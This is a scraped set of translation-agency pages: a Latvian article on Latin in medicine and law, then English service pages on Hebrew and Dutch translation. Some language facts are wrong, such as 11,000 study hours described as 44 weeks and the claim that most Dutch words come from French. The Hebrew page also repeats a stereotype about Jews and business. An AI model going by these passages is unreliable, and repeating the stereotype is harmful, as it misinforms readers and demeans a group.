jau kā starptautiskā valoda seko angļu valoda. Mūsdienās latīņu valoda ir Romas Katoļu baznīcas oficiālā valoda un arī Vatikāna valsts valoda. VAI MŪSDIENĀS VĒL RUNĀJAM LATĪŅU VALODĀ? Lai arī latīņu valoda kopš mūsu ēras 5. gs. nav uzskatāma par dzīvo valodu, šī ir senā valoda, kas nav aizmirsta. Agrāk, arī Latvijā (līdz pat 20. gs. 20. –40. gadiem), klasiskajā izglītībā latīņu valoda bija pat ikdienišķa parādība. Mūsdienās latīņu valodu padziļināti apgūst klasiskās filoloģijas studenti, bet valodas pamatu kurss ir arī tādu nozaru kā valodniecība, teoloģija, bioloģija, medicīna un jurisprudence nākamajiem profesionāļiem, kuri darbā saskarsies ar terminoloģiju un tekstiem latīņu valodā. Valodu entuziasti ar latīņu valodu var iepazīties kursos vai mēģināt apgūt patstāvīgi. Taču latīņu valodu sastapsiet ne tikai atsevišķās nozarēs, reliģijas vai antīkās filozofijas tekstos, vēsturisku ēku sienās vai iestāžu devīzēs, piemēram, Nulla dies sine linea (Nevienu dienu bez līnijas) uz Latvijas Mākslas akadēmijas karoga un Scientiae et patriae (Zinātnei un tēvijai) Latvijas Universitātes ģerbonī. Tā atrodama pat mūsdienu laikmeta zīmēs: tetovējumos, reklāmas materiālu apdrukās un juvelierizstrādājumu gravējumos, mūsu profesionālās dzīves apkopojumā Curriculum Vitae (CV) un e-pasta vēstuļu Post Scriptum (PS) piebildēs, un pat literatūras popkultūrā – Džoannas Roulingas fantāzijas romānu sērijā par Hariju Poteru latīņu valodā tiek skaitīti buramvārdi. Tāpat lielākā daļa no mums pratīs citēt kādu dzīves situācijai atbilstošu spārnoto teicienu latīņu valodā, kas kļuvusi par interesantu Eiropas kultūras iezīmi. LINGUA LATINA – MŪSDIENU VALODU PAMATS Latīņu valoda tieši ietekmējusi daudzu Rietumeiropas valodu attīstību – ne tikai romāņu valodās, bet arī angļu valodā vēsturiski veidojusies bagātīga leksika, kas bāzēta latīņu valodā, tāpēc latīņu valodas zināšanas patiesībā padara apzinātāku arī šo valodu izpratni un lietojumu. Galvenie internacionālismu avoti Eiropas tautu valodās ir franču, itāļu, angļu, vācu un krievu valoda, bet visvairāk internacionālu vārdu devušas tieši senās valodas – grieķu, latīņu. Tādi svarīgi internacionāli vārdi kā "kultūra", "inteliģence", "partija", "revolūcija", "progress", "dokuments", "tendence", "civilizācija" u. c. ir latīņu valodas cilmes vārdi. NOZĪMĪGI LITERATŪRAS TEKSTI LATĪŅU VALODĀ Latīņu valodas spēcīgo ietekmi leksikas attīstībā var meklēt arī tekstos, kas ievērojamā daudzumā sarakstīti gan antīkajā pasaulē, gan pēc tam vēlākajos gadsimtos. Literārie darbi grieķu un latīņu valodā, kas nonākuši līdz mūsdienām, iezīmē rietumu kultūras intelektuālos pamatus – kamēr seno grieķu tekstos apslēpta spēcīga teorētiskā un abstraktā domāšana, romieši attīstījuši tieši realitātes un cilvēka individualitātes tēlojumu. Tādu autoru kā Cicerona, Virgilija, Horācija, Ovidija u. c. darbi atstājuši nospiedumu gan vispārējā izpratnē par filozofiju, retoriku, jurisprudenci, literatūru un tās žanru daudzveidību, gan šo nozaru leksikā. LATĪŅU VALODAS ALFABĒTS Latīņu valodas attīstības vēsture tiek iedalīta četros posmos: arhaiskā latīņu valoda, klasiskā latīņu valoda, pēcklasiskā latīņu valoda un vēlā latīņu valoda. Tā kā arī latīņu valodā vērojamas atšķirības atkarībā no reģiona un attīstības posma, parasti par tās atskaites punktu gramatikas un leksikas jautājumos tiek lietota tieši klasiskā latīņu valoda. Klasiskās latīņu valodas alfabētā ir 23 burti: Aa, Bb, Cc, Dd, Ee, Ff, Gg, Hh, Ii, Kk, Ll, Mm, Nn, Oo, Pp, Qq, Rr, Ss, Tt, Vv, Xx, Yy, Zz; jaunākajos laikos klāt vēl nāk burts Uu. Pats termins "latīņu alfabēts" var attiekties gan uz klasiskās latīņu valodas alfabētu, gan uz citu valodu alfabētiem, kas no tā cēlušies, atmetot vai pievienojot jaunus burtus. Mūsdienās ir vismaz 100 valodas, kas ortogrāfijā izmanto latīņu valodas alfabētu, tostarp angļu, franču, vācu, spāņu, portugāļu, īru, holandiešu, arī latviešu. LATĪŅU VALODA MEDICĪNĀ Mūsdienu medicīnas termini gan ņemti no daudzām valodām, tomēr lielākā daļa nākuši no grieķu un latīņu valodas. Medicīnas un farmācijas terminoloģijas pirmsākumi meklējami Senajā Grieķijā, un jau pirmais Rietumu ārstniecības avots "Hipokratiskie raksti" (5. –4. gs. p. m. ē. ) satur daudz medicīnisku terminu. Vēlāk medicīnisko tradīciju pārņem Romas impērija, un, tā kā latīņu valoda ir zinātnes valoda līdz pat 18. gs. , visi medicīnas teksti tiek rakstīti latīņu valodā. Grieķu izcelsmes termini vairāk sastopami klīniskajā terminoloģijā, savukārt latīņu valodas termini veido lielāko daļu anatomiskās terminoloģijas, par kuras pamatlicēju tiek uzskatīts flāmu izcelsmes anatoms un ārsts Andreass Vezālijs (Andreas Vesalius, 1514–1564) ar grāmatu "Par cilvēka ķermeņa uzbūvi" (De humani corporis fabrica). VALODA KĀ KOMUNIKĀCIJAS STŪRAKMENS Vienota nozares valoda – terminoloģija – un spēcīgas tās zināšanas ir veiksmīgas saziņas pamatā, tāpēc sākotnēji medicīnas studijas var līdzināties svešvalodas apguvei. Ierasts, ka medicīnas studenti līdzās nozares kursiem apgūst arī latīņu valodas pamatus no valodniecības aspekta, jo izpratne par valodas etimoloģiju vēlāk palīdz veiksmīgāk apgūt un pareizi lietot arī terminoloģiju. ANGĻU VALODAS KONKURENCE Gadu gaitā gan bijuši precedenti nocelt latīņu valodu no tās troņa arī medicīnā. Piemēram, Vācijas vēsturē bijuši ārsti, tostarp profesori, kas uzskatījuši latīņu valodu kā apgrūtinošu faktoru savā izglītībā un darbā un atteikušies to apgūt. Neilgi pirms Otrā pasaules kara bija mēģinājums mainīt starptautiski atzīto medicīnas terminoloģijas korpusa valodu, taču medicīnas nomenklatūras komiteja to noraidīja. Latīņu un grieķu valodas nosaukumiem terminoloģijā ir būtiskas priekšrocības, tostarp vēsturiskā nepārtrauktība un mirušo valodu nemainība un universālums globālā līmenī. Mūsdienās angļu valoda, kas runātāju skaita ziņā ir nākamā lielākā valoda pēc ķīniešu un spāņu valodas, uzvar nacionālo valodu karā, tomēr pētnieki pieturas pie uzskata, ka medicīnas terminoloģija pārdzīvos angļu valodas spiedienu. LATĪŅU VALODA JURISPRUDENCĒ Jau pats termins tiesību zinātne jeb jurisprudence cēlies no latīņu valodas (jūris prūdentia – 'tiesību zināšanas'), un romiešu tiesības, kas veidojušās 2000 gadu garumā, ir arī viens no mūsdienu tieslietu pamatakmeņiem. Atbilstošās kvalifikācijas jurisprudences speciālisti savā profesionālajā ikdienā sastopas ar terminiem, izteicieniem un oriģināltekstiem latīņu valodā un joprojām atzinīgi novērtē romiešu juristu nepārspējamās prasmes skrupulozi precīzi un skaidri definēt tiesību jautājumus. Ne velti senie romieši teikuši: Invia est in iustitia via sine lingua Latīna (Necaurejams ir ceļš justīcijā bez latīņu valodas)! JURIDISKO TEKSTU TULKOJUMU SPECIFIKA Juridiskie teksti pieprasa precizitāti un atbilstību likumdošanai, kas tos nosaka. Tekstu autori parasti izmanto vairākus terminus pēc kārtas. Tas nereti sagādā grūtības tulkošanas procesā, jo ne visās valodās viegli atrast precīzus, lakoniskus ekvivalentus, tāpēc bieži šādi termini netiek tulkoti. Līdzīgi kā medicīnā, arī jurisprudencē latīņu valoda kalpo kā starptautiska terminoloģijas valoda. Latvijā, lai atvieglotu tulkotāju, jurisprudences studentu un profesionāļu darbu, Valsts valodas centrs izveidojis "Tiesību aktu tulkošanas rokasgrāmatu", kur noteiktas tiesību aktu tulkošanas kvalitātes prasības un principi, raksturoti Eiropas Savienības un starptautiskie tiesību akti, iztirzāti tiesību aktu tulkošanā aktuāli valodas jautājumi un formulētas terminoloģijas darba nostādnes. Par juridiskās tulkošanas kvalitātes pamatkomponentiem Valsts valodas centrs noteicis juridisku precizitāti, valodas skaidrību un terminoloģisku konsekvenci. ORATORMĀKSLA NE TIKAI ANTĪKAJĀ PASAULĒ Lielā mērā advokāta vai prokurora darbs saistīts arī ar runas mākslu – savu viedokli jāprot pamatot ne tikai juridiski pārliecinoši, bet arī izteiksmīgi, lai atstātu iespaidu uz tiesnesi un auditoriju. Arī te sava loma ir antīkajai pasaulei, jo līdz ar demokrātijas uzplaukumu 5. gs. p. m. ē. publiskā runa kļuva par nozīmīgu aktīvās sabiedrības daļu kā politikā, tā tiesvedībā, un retorikas prasmes tika vērtētas kā teju vienlīdzīgas militārajam spēkam. Arī mūsdienu tiesu runās latīņu valodas izmantojums atsevišķos terminos vai pat izteicienos saistāms gan ar faktu, ka ir romiešu tiesību termini, kas izplatīti visā pasaulē un tradicionāli netiek tulkoti, gan ar oratorisku paņēmienu piešķirt runai izteiksmīgumu. --- > General and specialised translations, interpreting and other language solutions in Hebrew language. Get a free quote! - Published: 2022-10-21 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ebreju-valoda/ - Translation Priorities: Optional HEBREW TRANSLATIONS HOW MUCH DO HEBREW TRANSLATIONS COST? Translation project managers of our translation agency will carefully analyse the translation material before the realisation of each translation project and will determine the price for each order individually. The price of the service is formed from several components: the translation deadlines, the specificity of the text content, editing, formatting and any other services selected by the client (notarised certification, etc. ). IS THE PRICE LIST AVAILABLE? Yes, the translation price list from/to Hebrew is included in our client collaboration agreement, and the client is always informed about the translation price before the realization of the project. The price of each order is determined individually based on the translation specifics (written or interpreting), the number of words in the text, text duplication in the translation and other characteristics. To receive an offer prepared just for you, simply send us the material you wish to be translated. Contact Skrivanek Baltic today for a free quote on Hebrew translation or any other combination of translation and related business services. Our Hebrew language services include: Hebrew Document Translation Hebrew Simultaneous Interpretation Hebrew Linguistic Validation Hebrew Consecutive Interpretation Hebrew Transcription Hebrew Typesetting and Graphics Hebrew Voiceovers and Subtitling Hebrew Staffing Solutions Hebrew Multicultural Marketing Hebrew Document Management Hebrew Deposition Services Hebrew Virtual Data Room Services Hebrew E-learning Support Looking for a language solution in Hebrew? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year THE HEBREW LANGUAGE IN FACTS Hebrew is a modern Jewish language from the Semitic family. Ancient Hebrew is the liturgical language of Judaism. It disappeared as a spoken language around the 4th century, however, in the beginning of 1880s it was renewed by Sephardi Jews. The population of Israel is around 8 million where the majority are Jews (76. 4%). Other ethnic groups live in the country as well – Arabs, Palestinians and members of other ethnic-religious groups such as Samaritans, Druze, Yazidis, etc. Hebrew is one of the two official languages in Israel. Although it practically ceased to be spoken in 200 AD, Jews continued to use it as a sacred language in liturgy, philosophical scripts and in literature. At the end of the 19th century, Hebrew became a modern form of cultural expression and became an important factor for the national revival movement. During the time of the British Empire, Hebrew, together with English and Arabic, became an official language. It started to be used by Jewish organisations and education institutions. The press and literature in Hebrew experienced its boom with the birth of a new generation of authors and readers. Today Hebrew is a rich, colourful and living language. The vocabulary of Hebrew expanded with more than 120 000 words from 8 000 words, used in Biblical times. The formal linguistic development of the language is under the competence of the Hebrew Academy founded in 1953. Eliezer Ben-Yehuda (1858–1922) was a driving force for the revival of Hebrew as a spoken language. After moving to Israel in 1881, he increased the usage of Hebrew in domestic life and in school. He created thousands of new words, released two periodicals in Hebrew, and was also involved in the establishment of the Hebrew Language Commission (1890). Moreover, he worked with 17 volumes of “A Complete Dictionary of Ancient and Modern Hebrew”, compiling some of them. The work with the dictionary began in 1910 and was completed by Eliezer Ben-Yehuda’s second wife and his son in 1959. The first prose in Modern Hebrew was created thanks to authors who immigrated. Although their roots were found around the world and in many traditions derived from Eastern European Jewish heritage, their works mainly described reached achievements in the land of Israel, where they had arrived with the Zionist slogan: “To build and to be built. ” THE HEBREW ALPHABET The Hebrew alphabet is a writing system used to write in Hebrew and other Jewish languages. Historically, two different abjad scripts were used to write in Hebrew. The initial, oldest Hebrew script, known as the Paleo-Hebrew alphabet, in a large scale is preserved as a variant of the Samaritan alphabet. The latest “Jewish script” or “square script”, is quite the opposite, a form of stylised Aramean alphabet, and Jewish sages technically called it Ktav Ashuri (literarily “Assyrian script”) because it was considered to be originated from Assyria. The Jewish version of the Phoenician alphabet, called the Paleo-Hebrew alphabet by researchers, began to emerge around 800 BC. The oldest historically dated examples of the Aramean alphabet in this region are the Gezer calendar (10th century BC) and Siloam inscription (around 700 BC) which was found in the Siloam tunnel. In the 3rd century BC, Jews started to use a stylised, square form of the Aramean alphabet which was used by the First Persian Empire while Samaritans continued to use the Paleo-Hebrew script form called the Samaritan alphabet. After the collapse of the Persian Empire in 330 BC, Hebrews used both writing variants but later returned to the square formed Assyrian writing. The “square” Hebrew alphabet later was adapted and used to write down the languages of the Jewish diaspora, for example, Karait, Judeo-Arabic, Judeo-Spanish and Yiddish. The Hebrew alphabet started to be used again to write in Hebrew in school and everyday life, when in the 18th–19th centuries the Hebrew language was revived as a language, especially in Israel. The Hebrew alphabet consists of 22 letters. It is written from the right to the left side. Numbers are an exception – they are written from left to right. Interesting is that there are no capital letters in Hebrew, not in the beginning of a sentence, nor in the beginning of a personal name or titles. It is one of the few alphabets in the world where there are practically no vowels. Vowels are marked with special writing marks, to be more precise, a diacritic mark system is used, such as dots and hyphens called “NEKUDOT”. Printed letters are not used for language notation, but it is necessary to know how to read them. The text is not connected, letters are not joined together. Rarely, when writing fast, connecting letters is allowed. The size of the letters are the same, manual hand script forms are semi-circular or oval. Each letter can also represent a specific number – ALEF=1, BET=2, etc. Throughout the ages, letters of the Hebrew alphabet have played various roles in Jewish religious literature, mainly in mystical texts. Many sources of classical rabbinical literature acknowledge the historical origin of the Hebrew alphabet in use today. In mystical ideas, the alphabet is seen as eternal, before the existing of Earth and the letters alone are sacred and powerful sometimes to such an extent that several stories in the Talmud (the primary law book of Jews and the Jewish religion) illustrate the idea that they cannot be destroyed. HOW DIFFICULT IS THE HEBREW LANGUAGE? According to the data of Foreign Service Institute, 11 000 hours, or 44 weeks, of learning are needed to reach the fourth or fifth level of mastering the language. According to the four language categories of ACTFL, the Hebrew language is the third most difficult language for English speakers (more difficult that Spanish and German, as difficult as Russian and Turkish, and less difficult that languages such as Arabic and Chinese). That is why learning Hebrew is an exciting intellectual challenge for adults and children that promotes positive thinking development for students of any age. Taking into account the fact that Hebrew is one of the oldest languages in the world and it has a unique alphabet, so it is very difficult to learn the language. The Hebrew alphabet has centuries-long history which is unique and does not have an analogue in any other language. That is why initially it will be needed to learn a completely new alphabet and writing symbols that are not common for other languages. Of course, the most effective way to learn Hebrew is the opportunity to be an in environment where this language is used every day. The Hebrew language has two forms – the modern spoken language and the liturgical language. Through these language forms there is an opportunity to learn about the history, religion, traditions and culture. Hebrew notation is written from right to left and has many sounds that are difficult to pronounce and are new to speakers of other languages. Modern Israeli Hebrew or Biblical Hebrew? Biblical Hebrew is a static language and it has a smaller vocabulary which makes it easier. It is also only a written language. Basically, you must only learn how read it. If the desire to learn the language is to read the Holy Scripture in the original language and understand it, you can learn that in around 18 months of intense studying or in two years of less intense studying. Modern Hebrew is more difficult. It is best to go to Israel. Very motivated people often learn the language in six months, but they cannot write in Hebrew well. After a year in Israel, people can easily use everyday speech, write about easy topics and read newspapers understanding around 80% of the content. WHERE AND HOW MANY PEOPLE SPEAK HEBREW? In the 3rd century AD, Hebrew was considered to be a dead language. After more than a thousand years, the language was revived making it the only successfully revived language in the world. Today Hebrew is used by about 7 million inhabitants of Israel and additionally by two million Jews in the rest of the world. Hebrew is one of the official languages in Israel, the second being Arabic. Hebrew is used in Israel and in many communities around the world where there are large Jewish communities, for example, in USA (where there are more than five million Jews), France (around 490 000 Jews) and Canada (around 375 000 Jews). It is also used in the Jewish diaspora in Belgium, Sweden, France, Germany, Great Britain, and other European countries. HEBREW LANGUAGE INTERPRETER AND TRANSLATOR The Skrivanek translation agency offers professional interpreting and written translations of texts in Hebrew and translations from Hebrew to Latvian. The team of translators will help you with standard and notarised translations. We will find a solution and a good Hebrew language specialist for every need of the client. We mostly provide direct translations for private individuals from/to Hebrew. For private individuals, we offer translations of identity documents, marriage certificates, education documents, medical documents, and other written translations of documents, as well as interpreting from/to Hebrew, for example, in courts. HEBREW LANGUAGE IN BUSINESS The Hebrew language is becoming more and more relevant in international business, and there are pragmatic advantages of learning Hebrew because the influence of Israel in the world market continues to grow. Israel has the third most companies listed on the NASDAQ exchange market. Israel is mostly recognised worldwide in the future technology industry. Israel is a giant in the field of innovations: it is a world leader in research and development spending and venture capital investment, also a home to global research and development centres such as Google, Apple, and IBM. Taking into account Israel’s growing influence and meaning, knowing the Hebrew language and modern secular Israeli culture is very important for the future of student and business connections. Hebrew is also a desired language for those whose professional choice is in government, political science and in fields such as diplomacy, reconnaissance and military. Also taking into account the large Jewish community in USA, it truly is worth learning the Hebrew language to develop or begin business relations with companies in Israel and also in USA, if Jewish business partners are preferred. It is also worth mentioning that ancient Jews are known for their skills of doing business and the art of marketing, therefore, it would be good to know at least some polite phrases in Hebrew to show allegiance to business partners from Israel. JEWS IN LATVIA The first Jewish settlements in the territory of what is now Latvia were established already in the end of the 16th century with the permission of the duke of Courland because they needed people who knew how to manage finances. In the middle of the 19th century, 23 000 Jews, who moved to Latvia from Germany, already lived in Courland. Jews started to live in the eastern regions of Latvia in the 17th century, whereas Jewish communities began to form in Riga in the second half of the 18th century. The lives of Jews in Latvia were restricted from the very beginning, therefore, while time passed and also with the growth of anti-Semitic feelings, many left Latvia and moved to other countries. After World War I, Jews became politically active and some of them were also elected to Saeima and city municipalities. However, with the coming of Kārlis Ulmanis into power, Jews had to face many restrictions again and it caused another wave of emigration. After World War II, 14 000 members of the Jewish community alone left Latvia who soon united with Jews from other Soviet Union regions. When Latvia gained its independence, the social life of the Jewish community got a second wind. Jewish communities resumed their activities in several cities of Latvia. In 1988, the Latvian Society for Jewish Culture, today known as the Riga Jewish Community, was founded in Riga. Moreover, the Council of Jewish Communities of Latvia was founded in 2003. Today the community of Jews in Latvia consists of more than 10 000 people and is the second largest Jewish community in the Baltic Sea region. Diplomatic relations between Latvia and Israel were established on 6 January 1992. In October 1992, Israel opened its embassy in Latvia. The Latvian embassy in Israel has been working ever since 21 February 1995. Collaboration between Latvia’s and Israel’s higher education systems happens regularly in the fields of education and research, including exchanges of students and professors, participation in research programmes, scholarships for studying and research work. The Centre for Judaic Studies at the University of Latvia (founded in 1998) provides students, researchers and other people of interest the opportunity to gain academic knowledge about Jewish history, philosophy, language, culture and religious ideas by offering lectures, preparing publications and organising research activities. Since 2006, the Department of Asian Studies at the University of Latvia offers a study programme where there is an opportunity to learn about the field of Judaica, ancient Hebrew language, modern Hebrew language and culture. There is a collaboration between Latvian and Israeli Academies of Science, including the exchange of information and work on joined publications. On 1 September, 1989, the first Jewish secondary school, named after Simon Dubnov, was opened in Riga, which was the first national minority school in Latvia. Therefore, this school became a true legend – the first fully Jewish school in the territory of the former USSR. Jewish education in Latvia has deep historical roots: until 1940, Jewish children could have learned in Latvian, Hebrew, Yiddish and German. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO HEBREW: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Hebrew; Hebrew to Latvian; Estonian to Hebrew; Hebrew to Estonian; Lithuanian to Hebrew; English to Hebrew; Hebrew to English; Hebrew to Lithuanian; Russian to Hebrew; Hebrew to Russian; Czech to Hebrew; Hebrew to Czech; Polish to Hebrew; Hebrew to Polish; Ukrainian to Hebrew; Hebrew to Ukrainian; Hebrew to Spanish; Spanish to Hebrew; German to Hebrew; Hebrew to German; Italian to Hebrew; Hebrew to Italian; French to Hebrew; Hebrew to French; Danish to Hebrew; Hebrew to Danish; Norwegian to Hebrew; Hebrew to Norwegian; Swedish to Hebrew; Hebrew to Swedish; Finnish to Hebrew; Hebrew to Finnish and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO HEBREW: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Hebrew; Hebrew to Latvian; Estonian to Hebrew; Hebrew to Estonian; Lithuanian to Hebrew; English to Hebrew; Hebrew to English; Hebrew to Lithuanian; Russian to Hebrew; Hebrew to Russian; Czech to Hebrew; Hebrew to Czech; Polish to Hebrew; Hebrew to Polish; Ukrainian to Hebrew; Hebrew to Ukrainian; Hebrew to Spanish; Spanish to Hebrew; German to Hebrew; Hebrew to German; Italian to Hebrew; Hebrew to Italian; French to Hebrew; Hebrew to French; Danish to Hebrew; Hebrew to Danish; Norwegian to Hebrew; Hebrew to Norwegian; Swedish to Hebrew; Hebrew to Swedish; Finnish to Hebrew; Hebrew to Finnish and others. --- > Translations and other language solutions in Dutch language. 30+ years of experience. Get a free quote within 15 minutes! - Published: 2022-10-21 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-holandiesu-valoda/ - Translation Priorities: Optional DUTCH TRANSLATIONS HOW MUCH DO DUTCH TRANSLATIONS COST? The price for the translation from/to Dutch is determined individually. It is calculated from several components depending on the desires and needs of the client. The price for the consecutive translation service is calculated based on the delivery time and language combination where the translation will be necessary. The price for written translation is determined by the size of the translation material, the translation deadlines, the specificity of the text content, repetition of the text, graphic processing, text formatting, correction, and any other services selected by the client, including notarised certification and other services. IS THE PRICE LIST AVAILABLE? Yes, the written translation and interpreting (simultaneous and consecutive) price list from/to Dutch is included in our client collaboration agreement. We always provide a descriptive layout of the translation price before the realisation of the project. The price of each order is decided separately according to Skrivanek’s current price list, based on the number of words in the source text, text duplication in the translation, and other aspects. In order to prepare a special price for you, send us your material to be translated, and our project managers will contact you to agree on a solution. Contact Skrivanek Baltic today for a free quote on Dutch translation or any other combination of translation and related business services. Our Dutch language services include: Dutch Document Translation Dutch Simultaneous Interpretation Dutch Linguistic Validation Dutch Consecutive Interpretation Dutch Transcription Dutch Typesetting and Graphics Dutch Voiceovers and Subtitling Dutch Staffing Solutions Dutch Multicultural Marketing Dutch Document Management Dutch Deposition Services Dutch Virtual Data Room Services Dutch E-learning Support Looking for a language solution in Dutch? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year THE DUTCH LANGUAGE IN FACTS The forbidden joys of Amsterdam, tulips, windmills, and the tallest people in the world – these are our first associations when we hear the name of the Netherlands! Dutch, called Netherlandic in the Netherlands and Flemish in Belgium, is a language from the Germanic language branch and is a native language to around 23 million people in the Netherlands, Belgium, Suriname, Aruba, and the former Netherlands Antilles. It is closely related to other West Germanic languages, that is, English, West Frisian, and German. Afrikaans developed from Dutch and today it is considered an independent language. Dutch is the official language of the Netherlands. Furthermore, it has official status in Belgium. In South America, Dutch continues to be the official language of Suriname. It is also the official language of Aruba, Curaçao, and Sint Maarten in the Caribbean Sea region. Of course, Dutch is one of the official languages of the European Union and the Union of South American Nations. Dutch is the seventh most widespread language in Europe. It is a West Germanic language and has much in common with German, English, and also with Danish and Swedish. Therefore, it is easier to learn Dutch for those who already know German. Dutch is the 56th most spoken language in the world. In some sources, the Dutch language is called the Dutch dialect which is spoken by the population of Flanders, whereas it is called the Flemish language. The first words in Dutch are from the 12th century. It is considered that the first known example of writing in Dutch is a poem that was written on a piece of paper, supposedly, from the 12th century. This most famous text in Old Dutch is called Hebban olla vogala nestas hagunnan, hinase hic enda tu, wat unbidan we nu (“Have all the birds started nesting, except for me and you, what are we waiting for? ”). The manuscript dates from around 1100 and was written down by a Flemish monk in the abbey of Rochester (England, Kent). Nowadays this manuscript is kept in Oxford. Words in Dutch have many consonants. Although Dutch is not a difficult language to master, it has its stumbling blocks. Many words are rather cunning and look like tongue twisters because they contain several consonants one after another. For example, the word angstschreeuw, meaning “a scream of fear”, has eight consonants, whereas the word slechtstschrijvend, meaning “worst writing”, has nine, etc. The word gezellig cannot be translated into any language. It is one of the most used words in Dutch but it does not have a literal translation in English or many other languages. It is mainly used to describe anything that causes a feeling of cosiness, pleasure, or well-being. For example, “I had a really nice evening and I sat gezelling by the fire. ” Nouns in Dutch do not have cases. The longest word in Dutch is 60 letters long. It is incredible that the word kindercarnavalsoptochtvoorbereidingswerkzaamhedencomitéleden has 60 letters and refers to companions who participate in the preparatory activities of the children's carnival procession. It was mentioned in the book of Guinness World Records 2011 as the longest word in Dutch. The Dutch like to write words without spaces in between, as seen in this example. South Africans and the Dutch can understand each other. Afrikaans, as one of the languages of South Africa, is derived from Dutch which was spoken by Dutch colonists. Both languages still are more or less comprehendible to speakers of the other language. For a Dutch language speaker, it is easier to understand Afrikaans than the other way around. Not only Latvians but the Dutch also like to use diminutives. Many languages have diminutives – words or word endings used to express affection or a form of reduction. Diminutives are used often in Dutch. They use the suffix je (or a variant of it) to make all kinds of nouns and adverbs smaller. In Dutch, diminutives are used not only to show size or affection; they are also used to make uncountable nouns countable. For example, bier is “beer” but biertje is “a glass of beer”. When translating a text from English or other languages to Dutch, the size of the translated text will increase at least 35% because long compound words, which are common in Dutch, will be used. This is very important when creating content for digital marketing or keywords in Google Ads activities. French is deeply rooted in the Dutch language – the majority of Dutch words have come directly from the French language. In the Modern Latvian language dictionary, we will find both terms – Hollandic and Netherlandic language. Whereas, in order to promote the consistent and correct use of language names, at the meeting of the State Language Centre on 29 May 2006, when assessing the names of languages and language groups in Latvian, it was confirmed that the correct form to call the language is Hollandic. THE DUTCH ALPHABET Ever since the beginning of their written history, the Dutch have used the Latin alphabet. The Dutch alphabet consists of 26 standard Latin letters (also, the ligature “IJ” is added, often replacing the letter “Y”). As for diacritic symbols, the stress mark, diaeresis, apostrophe, and macrons to make vowels long (used rarely) are used in Dutch. The twenty-fifth letter in the Dutch alphabet brings confusion to many people. Sometimes this letter is written as “Y” and sometimes as “IJ”. The letter combination of “i” and “j” in Dutch creates a vowel that sounds similar to the sound “i” in the English word “hi”. In Dutch, “ij” is seen as one letter that is always written in capital letters, if the word that starts with “ij” is at a beginning of a sentence or if it is the first letter of a proper noun. It is noticeable that the letter “y” is nonexistent in the original words of Dutch – it is common only in loanwords from other languages, for example, baby, derby. In Dutch, long vowels are formed from: Two identical vowels that are written next to each other, or duplication of a vowel Combinations of vowels: if two (or more) vowels next to each other are pronounced as one Vowels that have open syllables. A syllable is considered open if it ends with a vowel. All vowels, except “y”, can be either long or short. Long is formed with an “i+e” vowel combination, different from the rest of the vowels when the same vowel is doubled to show the long length. Vowel combinations usually consist of two or three various vowels that most of the time are pronounced as one. When dividing words into syllables, vowel combinations are divided as separate syllables, together with one or a few consonants next to them. There are 16 vowel combinations in Dutch. In some of these combinations, separate vowels perfectly become one but it is not that ideal in others. The most important thing to keep in mind is that all 16 combinations are constant. Basically, all letter combinations need to be learned by heart. And keep in mind: if two vowels one after another do not form a constant vowel combination, then these vowels (together with one or more consonants) create two separate syllables. These are the constant vowel combinations in Dutch: aai, ae, ai, au, eeu(w), ei, eu, ie, ieu(w), ij, oe, ou, oi, ooi, oei and ui. In Dutch, the letter “e” has two specific characteristics that distinguish it from other vowels. The characteristics of the letter “e”: If the letter “e” is not stressed, it is not pronounced at all The duplication of the vowel “e”, or “ee”, is the only vowel duplication that can be at the ending of a word. Pronunciation of consonants is practically the same as in English: b, c, d, f, h, k, l, m, n, p, q, s, t, x, y, z. There are 3 consonant combinations in Dutch: “ch”, “sch” and “ng”, which are combinations of a few consonants but create one sound. Regarding consonants, there is only one crucial rule – a syllable or a word never ends with double consonant. WHERE AND HOW MANY PEOPLE SPEAK DUTCH? Altogether the number of Dutch speakers in the world reaches around 28 million. It is a native language for around 23 million inhabitants of the Netherlands, Belgium, Suriname, Aruba, and the former Netherlands Antilles. It is used in France and Germany as a minority language. The largest Dutch speaker diasporas live in the USA, Canada, Australia, and New Zealand. In the USA, Dutch is one of the 15 most popular languages in 3 states: Delaware, 